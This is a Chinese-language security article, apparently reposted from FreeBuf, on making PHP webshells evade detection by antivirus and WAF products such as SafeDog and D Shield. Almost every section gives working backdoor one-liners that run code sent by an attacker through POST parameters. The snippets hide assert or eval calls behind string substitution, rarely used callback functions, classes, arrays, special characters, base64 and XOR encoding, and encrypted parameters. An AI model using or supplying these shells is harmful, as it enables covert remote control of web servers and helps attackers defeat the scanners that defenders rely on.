0×01 前言
盡最大努力在一文中讓大家掌握一些有用的 WEBSHELL 免殺技巧。
0×02 關於 eval 於 assert
關於 eval 函數在 php 給出的官方說明是
eval 是一個語言構造器而不是一個函數,不能被 可變函數 調用
可變函數:通過一個變量,獲取其對應的變量值,然后通過給該值增加一個括號 (),讓系統認為該值是一個函數,從而當做函數來執行
通俗的說比如你 <?php $a=eval;$a() ?> 這樣是不行的 也造就了用 eval 的話達不到 assert 的靈活,但是在 php7.1 以上 assert 已經不行
關於 assert 函數
assert() 回調函數在構建自動測試套件的時候尤其有用,因為它們允許你簡易地捕獲傳入斷言的代碼,並包含斷言的位置信息。當信息能夠被其他方法捕獲,使用斷言可以讓它更快更方便!
0×03 字符串變形
字符串變形多數用於 BYPASS 安全狗,相當對於 D 盾,安全狗更加重視”形”
一個特殊的變形就能繞過安全狗,看看 PHP 手冊,有着很多關於操作字符串的函數
ucwords() //函數把字符串中每個單詞的首字符轉換為大寫。 ucfirst() //函數把字符串中的首字符轉換為大寫。 trim() //函數從字符串的兩端刪除空白字符和其他預定義字符。 substr_replace() //函數把字符串的一部分替換為另一個字符串 substr() //函數返回字符串的一部分。 strtr() //函數轉換字符串中特定的字符。 strtoupper() //函數把字符串轉換為大寫。 strtolower() //函數把字符串轉換為小寫。 strtok() //函數把字符串分割為更小的字符串 str_rot13() //函數對字符串執行 ROT13 編碼。
由於 PHP 的靈活性操作字符串的函數很多,我這里就不一一列舉了
用 substr_replace() 函數變形 assert 達到免殺的效果
<?php $a = substr_replace("assexx","rt",4); $a($_POST['x']); ?>
其他函數類似 不一一列舉了
0×04 定義函數繞過
定義一個函數把關鍵詞分割達到 bypass 效果
<?php function kdog($a){ $a($_POST['x']); } kdog(assert); ?>
反之
<?php function kdog($a){ assert($a); } kdog($_POST[x]); ?>
效果一樣,這種繞過方法,對安全狗還是比較有效的 在 d 盾面前就顯得小兒科了,不過后面會講到如何用定義函數的方法來 繞過 d 盾
0×05 回調函數
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive()
回調函數大部分已經被安全軟件加入全家桶套餐 所以找到一個生僻的不常用的回調函數來執行 比如
<?php forward_static_call_array(assert,array($_POST[x])); ?>
這個函數能過狗,但是 D 盾顯示是一級
0×06 回調函數變形
前面說過眾多回調函數已經被加入豪華套餐了,怎么繞過呢,其實也很簡單 那就是定義個函數 或者類來調用
定義一個函數
<?php function test($a,$b){ array_map($a,$b); } test(assert,array($_POST['x'])); ?>
定義一個類
<?php class loveme { var $a; var $b; function __construct($a,$b) { $this->a=$a; $this->b=$b; } function test() { array_map($this->a,$this->b); } } $p1=new loveme(assert,array($_POST['x'])); $p1->test(); ?>
0×07 特殊字符干擾
特殊字符干擾,要求是能干擾到殺軟的正則判斷,還要代碼能執行, 網上廣為流傳的連接符
初代版本
<?php $a = $_REQUEST['a']; $b = null; eval($b.$a); ?>
不過已經不能免殺了,利用適當的變形即可免殺 如
<?php $a = $_POST['a']; $b = "\n"; eval($b.=$a); ?>
其他方法大家盡情發揮如”\r\n\t”, 函數返回,類,等等
除了連接符號 還有個命名空間的東西 \ 具體大家可以看看 php 手冊
<?php function dog($a){ \assert($a); } dog($_POST[x]); ?>
當然還有其他的符號熟讀 PHP 手冊就會有不一樣的發現
0×08 數組
把執行代碼放入數組中執行繞過
<?php $a = substr_replace("assexx","rt",4); $b=[''=>$a($_POST['q'])]; ?>
多維數組
<?php $b = substr_replace("assexx","rt",4); $a = array($arrayName = array('a' => $b($_POST['q']))); ?>
0×09 類
說到類肯定要搭配上魔術方法比如 __destruct(),__construct()
直接上代碼
<?php class me { public $a = ''; function __destruct(){ assert("$this->a"); } } $b = new me; $b->a = $_POST['x']; ?>
用類把函數包裹,D 盾對類查殺較弱
0×10 編碼繞過
用 php 的編碼函數,或者用異或等等
簡單的 base64_decode, 其中因為他的正則匹配可以加入一些下划線干擾殺軟
<?php $a = base64_decode("YXNz+ZX____J____0"); $a($_POST[x]); ?>
異或
<?php $a= ("!"^"@").'ssert'; $a($_POST[x]); ?>
0×11 無字符特征馬
對於無特征馬這里我的意思是 無字符特征
1.利用異或, 編碼等方式 例如 p 神博客的
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
1.利用正則匹配字符 如 Tab 等 然后轉換為字符
2.利用 POST 包獲取關鍵參數執行 例如
<?php $decrpt = $_POST['x']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); call_user_func($arrs[0],$arrs[1]); ?>
0×12 PHP7.1 后 webshell 何去何從
在 php7.1 后面我們已經不能使用強大的 assert 函數了用 eval 將更加注重特殊的調用方法和一些字符干擾, 后期大家可能更加傾向使用大馬
總結
對於安全狗殺形,d 盾殺參的思路來繞過。生僻的回調函數, 特殊的加密方式, 以及關鍵詞的后傳入都是不錯的選擇。
對於關鍵詞的后傳入對免殺安全狗,d 盾,河馬 等等都是不錯的,后期對於菜刀的輪子,也要走向高度的自定義化
用戶可以對傳出的 post 數據進行自定義腳本加密,再由 webshell 進行解密獲取參數,那么以現在的軟 WAF 查殺能力
幾乎為 0,安全軟件也需要與時俱進了。
如有不對,還望大家斧正
*本文作者:404SEC,轉載請注明來自FreeBuf.COM